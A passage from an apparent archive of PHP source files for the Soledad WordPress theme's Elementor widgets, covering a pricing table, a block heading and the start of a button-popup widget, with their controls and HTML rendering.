				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'btn_width', array(
				'label'     => __( 'Button width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pricing-btn' => 'width: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'btn_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-pricing-btn' => 'line-height: {{SIZE}}px; padding-top: 0; padding-bottom: 0;',
				),
			)
		);
		$this->end_controls_section();

	}

	protected function render() {
		$settings = $this->get_settings_for_display();

		$class_block    = 'penci-block-vc penci-pricing-table penci-pricing-item';
		$class_block    .= $settings['_featured'] ? ' penci-pricing_featured' : '';
		$class_block    .= $settings['pricing_oneline'] ? ' penci-pricing-oneline' : '';
		$class_block    .= 'bordered' == $settings['button_style'] ? ' penci-pricing-btn-borders' : '';
		$class_block    .= $settings['_featured_style'] ? ' penci-pricing-f-' . $settings['_featured_style'] : ' penci-pricing-f-hheight';
		$class_block    .= $settings['_btn_pos'] ? ' penci-pricing-btn-' . $settings['_btn_pos'] : ' penci-pricing-btn-below';
		$class_block    .= 'yes' == $settings['_featured_header'] ? ' penci-pricing-fheader' : '';
		$class_block    .= $settings['_design_style'] ? ' penci-pricing-' . esc_attr( $settings['_design_style'] ) : '';
		$_btn_pos       = isset( $settings['_btn_pos'] ) ? $settings['_btn_pos'] : 'below';
		$featured_style = isset( $settings['_featured_style'] ) ? $settings['_featured_style'] : 'hheight';
		$add_ribb       = isset( $settings['add_ribb'] ) ? $settings['add_ribb'] : '';
		$ribb_text      = isset( $settings['ribb_text'] ) ? $settings['ribb_text'] : 'Best Value';
		?>
        <div class="<?php echo esc_attr( $class_block ); ?>">
			<?php
			if ( 'rib_icon' == $add_ribb ) {
				if ( ! empty( $settings['ribb_icon'] ) ) {
					echo '<span class="penci-pricing-ribbon">';
					\Elementor\Icons_Manager::render_icon( $settings['ribb_icon'] );
					echo '</span>';
				} else {
					echo '<span class="penci-pricing-ribbon">' . penci_icon_by_ver( 'fas fa-star' ) . '</span>';
				}
			}
			if ( 'rib_text' == $add_ribb ) {
				echo '<span class="penci-pricing-ribbon-text">' . do_shortcode( $ribb_text ) . '</span>';
			}
			?>
            <div class="penci-block_content penci-pricing-inner">
				<?php
				$button_html = '';
				if ( $settings['_btn_text'] ) {
					$a_before = '<a class="penci-pricing-btn penci-button">';
					$a_after  = '</a>';

					if ( ! empty( $settings['_btn_link']['url'] ) ) {
						$this->add_render_attribute( '_btn_link', 'href', $settings['_btn_link']['url'] );

						if ( $settings['_btn_link']['is_external'] ) {
							$this->add_render_attribute( '_btn_link', 'target', '_blank' );
						}

						if ( $settings['_btn_link']['nofollow'] ) {
							$this->add_render_attribute( '_btn_link', 'rel', 'nofollow' );
						}

						$a_before = '<a class="penci-pricing-btn penci-button" ' . $this->get_render_attribute_string( '_btn_link' ) . '>';
						$a_after  = '</a>';
					}

					$button_html = '<div class="penci-pricing-pbutton">' . $a_before . do_shortcode( $settings['_btn_text'] ) . $a_after . '</div>';
				}

				echo '<div class="penci-pricing-header">';
				if ( ! empty( $settings['_image']['url'] ) && $settings['_use_img'] ) {
					$this->add_render_attribute( 'image', 'src', $settings['_image']['url'] );
					$this->add_render_attribute( 'image', 'alt', Control_Media::get_image_alt( $settings['_image'] ) );
					$this->add_render_attribute( 'image', 'title', Control_Media::get_image_title( $settings['_image'] ) );

					echo '<div class="penci-pricing-image">';
					echo Group_Control_Image_Size::get_attachment_image_html( $settings, 'thumbnail', '_image' );
					echo '</div>';
				}

				if ( ! empty( $settings['_icon'] ) && ( 'yes' == $settings['_use_icon'] ) ) {
					echo '<div class="penci-pricing-icon">';
					\Elementor\Icons_Manager::render_icon( $settings['_icon'] );
					echo '</div>';
				}

				if ( $settings['_heading'] ) {
					echo '<div class="penci-pricing-title">' . do_shortcode( $settings['_heading'] ) . '</div>';
				}

				if ( $settings['_subheading'] ) {
					echo '<div class="penci-pricing-subtitle">' . do_shortcode( $settings['_subheading'] ) . '</div>';
				}

				echo '</div>';

				if ( $settings['_price'] || $settings['_unit'] ) {
					echo '<div class="penci-price-unit">';

					if ( $settings['_price'] ) {
						echo '<span class="penci-pricing-price">' . do_shortcode( $settings['_price'] ) . '</span>';
					}

					if ( $settings['_unit'] ) {
						echo '<span class="penci-pricing-unit">' . do_shortcode( $settings['_unit'] ) . '</span>';
					}

					echo '</div>';
				}

				if ( 'above' == $_btn_pos ) {
					echo $button_html;
				}

				if ( $settings['content'] ) {
					$content = wpautop( preg_replace( '/<\/?p\>/', "\n", $settings['content'] ) . "\n" );
					$content = do_shortcode( shortcode_unautop( $content ) );


					echo '<div class="penci-pricing-featured">' . $content . '</div>';
				}

				if ( 'below' == $_btn_pos ) {
					echo $button_html;
				}
				?>
            </div>
        </div>
		<?php
	}
}
PK     1w\3*2  2  6  elementor/modules/penci-block-heading-title/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciBlockHeadingTitle;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-block-heading-title';
	}

	public function get_widgets() {
		return array( 'PenciBlockHeadingTitle' );
	}
}
PK     1w\@k4  k4  Q  elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciBlockHeadingTitle\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciBlockHeadingTitle extends Base_Widget {

	public function get_name() {
		return 'penci-block-heading';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Block Heading', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-url';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'heading', 'block heading', 'title' );
	}

	protected function register_controls() {

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_extra_link',
			array(
				'label' => __( 'Extra Button Link', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'btn_text',
			array(
				'label'   => __( 'Button Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$this->add_control(
			'btn_url',
			array(
				'label'       => __( 'Button URL', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'placeholder' => __( 'https://your-link.com', 'soledad' ),
			)
		);

		$this->add_control(
			'btn_style',
			array(
				'label'   => __( 'Button Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'none',
				'options' => array(
					'none'      => esc_html__( 'None', 'soledad' ),
					'underline' => esc_html__( 'Underline', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'btn_pos',
			array(
				'label'   => __( 'Button Position with Title', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'right',
				'options' => array(
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
			)
		);
		
		$this->add_control(
			'btn_pos_lr',
			array(
				'label'   => __( 'Button Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					'' 		=> esc_html__( 'Default', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'btn_space',
			array(
				'label'     => __( 'Button Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 300,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .pcbh-btnp-left'  => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .pcbh-btnp-right' => 'margin-left: {{SIZE}}px;',
				),
			)
		);

		$this->add_control(
			'btn_hidemobile',
			array(
				'label' => __( 'Hide Extra Button Link on Mobile', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'btn_addicon',
			array(
				'label' => __( 'Add Icon to Button', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'btn_icon',
			array(
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'condition' => array( 'btn_addicon' => 'yes' ),
			)
		);

		$this->add_control(
			'btn_iconpos',
			array(
				'label'     => esc_html__( 'Icon position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'right' => esc_html__( 'Right', 'soledad' ),
					'left'  => esc_html__( 'Left', 'soledad' ),
				),
				'default'   => 'right',
				'condition' => array( 'btn_addicon' => 'yes' ),
			)
		);

		$this->end_controls_section();

		// Link Group
		$this->start_controls_section(
			'section_group_links',
			array(
				'label' => __( 'Extra Links Group', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$repeater = new \Elementor\Repeater();

		$this->add_control(
			'group_more_link_text',
			array(
				'label'   => __( 'More Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'More',
			)
		);

		$this->add_responsive_control(
			'group_more_link_items',
			array(
				'label'          => __( 'Maxium Items Display', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 5 ),
				'tablet_default' => array( 'size' => 4 ),
				'mobile_default' => array( 'size' => 2 ),
				'range'          => array(
					'px' => array(
						'min'  => 1,
						'max'  => 10,
						'step' => 1,
					),
				),
			)
		);

		$repeater->add_control(
			'group_link_title',
			array(
				'label' => __( 'Link Title', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'group_link_url',
			array(
				'label' => __( 'Link URL', 'soledad' ),
				'type'  => Controls_Manager::URL,
			)
		);
		$this->add_control(
			'link_items',
			array(
				'type'   => Controls_Manager::REPEATER,
				'fields' => $repeater->get_controls(),
			)
		);
		$this->end_controls_section();

		// Design
		$this->start_controls_section(
			'section_padding_general',
			array(
				'label'     => __( 'Spacing', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => array(
					'heading_title_style!' => array(
						'style-7',
						'style-10',
						'style-12',
						'style-13',
						'style-16',
					),
				),
			)
		);

		$this->add_responsive_control(
			'bht_padding',
			array(
				'label'      => __( 'Block Heading Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'condition'  => array(
					'heading_title_style!' => array(
						'style-7',
						'style-10',
						'style-12',
						'style-13',
						'style-16',
					),
				),
				'selectors'  => array( '{{WRAPPER}} .penci-homepage-title .inner-arrow' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

		$this->start_controls_section(
			'section_extrabtn_general',
			array(
				'label' => __( 'Extra Button Link', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'btn_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow .pcbh-extrabtn' => 'color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-extrabtn:hover' => 'color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'btn_style' => 'underline' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow .pcbh-btns-underline:after' => 'background-color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_control(
			'btn_line_hcolor',
			array(
				'label'     => __( 'Line Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'btn_style' => 'underline' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-btns-underline:hover:after' => 'background-color: {{VALUE}} !important;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'btn_typo',
				'label'    => __( 'Block Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-border-arrow .inner-arrow a.pcbh-extrabtn',
			)
		);

		$this->end_controls_section();

		$this->register_block_heading_link_section_style( 'Extra Links Group' );

	}

	protected function render() {
		$r = $this->get_settings();

		if ( ! $r['heading'] ) {
			return;
		}

		$link_group     = $r['link_items'];
		$link_group_out = '';

		if ( ! empty( $link_group ) ) {
			$link_group_out .= '<nav data-more="' . esc_attr( $r['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$count           = 0;
			foreach ( $link_group as $link ) {

				$element_id = 'link-wrapper-' . $count;

				if ( ! empty( $link['group_link_url']['url'] ) ) {
					$this->add_render_attribute( $element_id, 'href', $link['group_link_url']['url'] );
					if ( ! empty( $link['group_link_url']['is_external'] ) ) {
						$this->add_render_attribute( $element_id, 'target', '_blank' );
					}
					if ( $link['group_link_url']['nofollow'] ) {
						$this->add_render_attribute( $element_id, 'rel', 'nofollow' );
					}
				}

				$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . $link['group_link_title'] . '</a></li>';

				$count ++;
			}
			$link_group_out .= '</ul></nav>';
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';

		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes  = 'penciel-bheading penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		
		
		$btn_extra_class = $r['btn_text'] && $r['btn_pos_lr'] ? $r['btn_pos_lr'] : '';
		$btn_extra_class = $btn_extra_class == $r['block_title_align'] ? '' : $btn_extra_class;

		$classes .= $btn_extra_class ? ' block-tbtnpos-' . $btn_extra_class : '';
		$extra_btn_html    = $btn_classes = '';
		$btn_pos           = isset( $r['btn_pos'] ) ? $r['btn_pos'] : 'right';
		$btn_ipos          = isset( $r['btn_iconpos'] ) ? $r['btn_iconpos'] : 'right';
		$class_hide_mobile = 'yes' == $r['btn_hidemobile'] ? ' pcbtn-etrhm' : '';
		if ( $r['btn_text'] ) {
			ob_start();
			$btn_style   = isset( $r['btn_style'] ) ? $r['btn_style'] : '';
			$btn_classes = 'pcbh-extrabtn pcbh-btns-' . $btn_style . ' pcbh-btnp-' . $btn_pos . ' pcbh-btni-' . $btn_ipos . $class_hide_mobile;
			if ( $r['btn_url']['url'] ) {
				$btntarget   = $r['btn_url']['is_external'] ? ' target="_blank"' : '';
				$btnnofollow = $r['btn_url']['nofollow'] ? ' rel="nofollow"' : '';
				echo '<a class="' . $btn_classes . '"' . $btntarget . $btnnofollow . ' href="' . $r['btn_url']['url'] . '">';
			} else {
				echo '<span class="' . $btn_classes . '">';
			}

			if ( $r['btn_addicon'] && $r['btn_icon'] && 'left' == $r['btn_iconpos'] ) {
				\Elementor\Icons_Manager::render_icon( $r['btn_icon'] );
			}
			echo do_shortcode( $r['btn_text'] );
			if ( $r['btn_addicon'] && $r['btn_icon'] && 'right' == $r['btn_iconpos'] ) {
				\Elementor\Icons_Manager::render_icon( $r['btn_icon'] );
			}
			if ( $r['btn_url']['url'] ) {
				echo '</a>';
			} else {
				echo '</span>';
			}
			$extra_btn_html = ob_get_contents();
			ob_end_clean();
		}
		$htag = isset( $r['heading_title_html_tag'] ) && $r['heading_title_html_tag'] ? $r['heading_title_html_tag'] : 'h3';
		?>
		<div class="<?php echo esc_attr( $classes ); ?>">
			<<?php echo $htag;?> class="inner-arrow">
				<span>
				<?php
				if ( 'left' == $btn_pos && $extra_btn_html ) {
					echo $extra_btn_html;
				}

				if ( $r['heading_title_link']['url'] ) {
					$target   = $r['btn_url']['is_external'] ? ' target="_blank"' : '';
					$nofollow = $r['btn_url']['nofollow'] ? ' rel="nofollow"' : '';

					echo '<a href="' . $r['heading_title_link']['url'] . '"' . $target . $nofollow . '>';
				} else {
					echo '<span>';
				}

				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				echo do_shortcode( $r['heading'] );
				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				if ( $r['heading_title_link']['url'] ) {
					echo '</a>';
				} else {
					echo '</span>';
				}

				if ( 'right' == $btn_pos && $extra_btn_html ) {
					echo $extra_btn_html;
				}
				?>
				</span>
			</<?php echo $htag;?>>
			<?php
			if ( $link_group_out ) {
				echo $link_group_out;
			}
			?>
		</div>
		<?php
	}
}
PK     1w\Cg  g  /  elementor/modules/penci-button-popup/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciButtonPopup;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-button-popup';
	}

	public function get_widgets() {
		return array( 'PenciButtonPopup' );
	}
}
PK     1w\S^  ^  C  elementor/modules/penci-button-popup/widgets/penci-button-popup.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciButtonPopup\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Text_Shadow;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciButtonPopup extends Base_Widget {

	public function get_name() {
		return 'penci-button-popup';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button Popup', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-button';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'button', 'click', 'penci', 'soledad' );
	}

	public function get_script_depends() {
		return array( 'penci-button-popup' );
	}

	protected function register_controls() {


		$this->start_controls_section( 'section_general', array(
			'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Button', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'text', array(
			'label'       => __( 'Button Text', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => __( 'Click Here', 'soledad' ),
			'placeholder' => __( 'Add Button Text Here', 'soledad' ),
		) );

		$this->add_responsive_control( 'align', array(
			'label'   => __( 'Alignment', 'elementor' ),
			'type'    => Controls_Manager::CHOOSE,
			'options' => array(
				'left'    => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Full', 'elementor' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'default' => '',
		) );

		$this->add_responsive_control( 'button_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-wrapperin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'button_radius', array(
			'label'      => __( 'Button Border Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before, {{WRAPPER}} .pcbtn-wrapper a.pcbtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};overflow:hidden;'
			),
			'condition'  => array( 'border_style!' => 'gradient' ),
		) );

		$this->add_control( 'add_borders', array(
			'label'     => __( 'Add Borders to Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );

		$this->add_control( 'border_style', array(
			'label'     => __( 'Borders Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''         => 'Solid',
				'dotted'   => 'Dotted',
				'dashed'   => 'Dashed',
				'double'   => 'Double',
				'groove'   => 'Groove',
				'ridge'    => 'Ridge',
				'inset'    => 'Inset',
				'outset'   => 'Outset',
				'gradient' => 'Gradient',
			),
			'default'   => '',
			'condition' => array( 'add_borders' => 'yes' ),
		) );

		$this->add_responsive_control( 'border_width', array(
			'label'      => __( 'Custom Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbtn-bordered .pcbtn-wrapperin, {{WRAPPER}} .pcbtn-wrapper a.pcbtn:before' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
			'condition'  => array( 'add_borders' => 'yes' ),
		) );

		$this->add_control( 'add_icon', array(
			'label'     => __( 'Add Icon to Button', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );

		$this->add_control( 'button_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'default'   => array(
				'value'   => 'fas fa-star',
				'library' => 'solid',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_control( 'icon_pos', array(
			'label'     => __( 'Icon Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left'  => 'Before',
				'right' => 'After',
			),
			'default'   => 'left',
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		$this->add_responsive_control( 'icon_space', array(
			'label'     => __( 'Icon Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbtn-icon-left span span i, {{WRAPPER}} .pcbtn-icon-left span span svg'   => 'margin-right: {{SIZE}}px;',
				'{{WRAPPER}} .pcbtn-icon-right span span i, {{WRAPPER}} .pcbtn-icon-right span span svg' => 'margin-left: {{SIZE}}px;',
			),
			'condition' => array( 'add_icon' => 'yes' ),
		) );

		// Subtext
		$this->add_control( 'add_subtext', array(
			'label'     => __( 'Add Subtext?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'separator' => 'before',
		) );
		$this->add_control( 'subtext', array(
			'label'       => __( 'SubText', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'default'     => __( 'Example Subtext', 'soledad' ),
			'placeholder' => __( 'Add Your SubText Here', 'soledad' ),
			'label_block' => true,
			'condition'   => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_responsive_control( 'subtext_align', array(
			'label'     => __( 'Text & Subtext Alignment', 'elementor' ),
			'type'      => Controls_Manager::CHOOSE,
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbtn-wrapperin' => 'text-align: {{VALUE}};',
			),
			'condition' => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_responsive_control( 'subtext_margin', array(
			'label'      => __( 'Subtext Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em', '%' ),
			'default'    => array(
				'top'      => '',
				'right'    => '',
				'bottom'   => '',
				'left'     => '',
				'unit'     => 'px',
				'isLinked' => false,
			),
			'selectors'  => array(
				'{{WRAPPER}} span.pcbtn-subtext' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array( 'add_subtext' => 'yes' ),
		) );

		$this->add_control( 'button_id', array(
			'label'       => __( 'Button ID', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'title'       => __( 'Add your custom id WITHOUT the Pound key. e.g: my-id', 'soledad' ),
			'description' => __( 'Please make sure the ID is unique and not used elsewhere on the page this form is displayed. This field allows <code>A-z 0-9</code> & underscore chars without spaces.', 'soledad' ),
			'separator'   => 'before',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_popup_content', array(
			'label' => esc_html__( 'Popup Content', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'popup_cstyle', array(
			'label'   => __( 'Popup Content Style:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'text',
			'options' => [
				'text'  => 'Custom Text/HTML',
				'block' => 'Penci Block',
			]
		) );

		$this->add_control( 'popup_content', array(
			'label'     => __( 'Popup Content:', 'soledad' ),
			'type'      => Controls_Manager::WYSIWYG,
			'default'   => '',
			'condition' => array( 'popup_cstyle' => array( 'text' ) ),
		) );

		$this->add_control( 'popup_block', array(
			'label'     => __( 'Popup Block:', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => penci_builder_block_list(),
			'condition' => array( 'popup_cstyle' => array( 'block' ) ),
		) );

		$this->add_responsive_control( 'popup_width', array(
			'label'     => __( 'Popup Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 200, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'max-width: {{SIZE}}px'
			]
		) );

		$this->add_responsive_control( 'popup_height', array(
			'label'     => __( 'Popup Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 200, 'max' => 2000, ) ),
			'selectors' => [
				'#penci-btn-popup-{{ID}}.button-popup-content' => 'min-height: {{SIZE}}px'
			]
		) );

		$this->add_control( 'popup_position', array(
			'label'   => __( 'Popup Postion:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'middle-center',
			'options' => [
				'top-left'      => 'Top Left',
				'top-center'    => 'Top Center',
				'top-right'     => 'Top Right',
				'middle-left'   => 'Middle Left',
				'middle-center' => 'Middle Center',
				'middle-right'  => 'Middle Right',
				'bottom-left'   => 'Bottom Left',
				'bottom-center' => 'Bottom Center',
				'bottom-right'  => 'Bottom Right',
			]
		) );

		$this->add_control( 'popup_anityle', array(
			'label'   => __( 'Popup Open Animation Style:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'move-to-top',
			'options' => [
				'move-to-left'   => 'Move To Left',
				'move-to-right'  => 'Move To Right',
				'move-to-top'    => 'Move To Top',
				'move-to-bottom' => 'Move To Bottom',
				'fadein'         => 'Fade In',
				'zoomin'         => 'Zoom In',
			]
		) );

		$this->end_controls_section();

		// Design
		$this->start_controls_section( 'section_design_content', array(
			'label' => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'button_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} span.pcbtn-content',
		) );

		$this->add_group_control( Group_Control_Text_Shadow::get_type(), array(
			'name'     => 'button_tshadow',
			'label'    => __( 'Text Shadow', 'soledad' ),
			'selector' => '{{WRAPPER}} span.pcbtn-content',
		) );

		$this->add_responsive_control( 'icon_size', array(
			'label'     => __( 'Icon Font Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
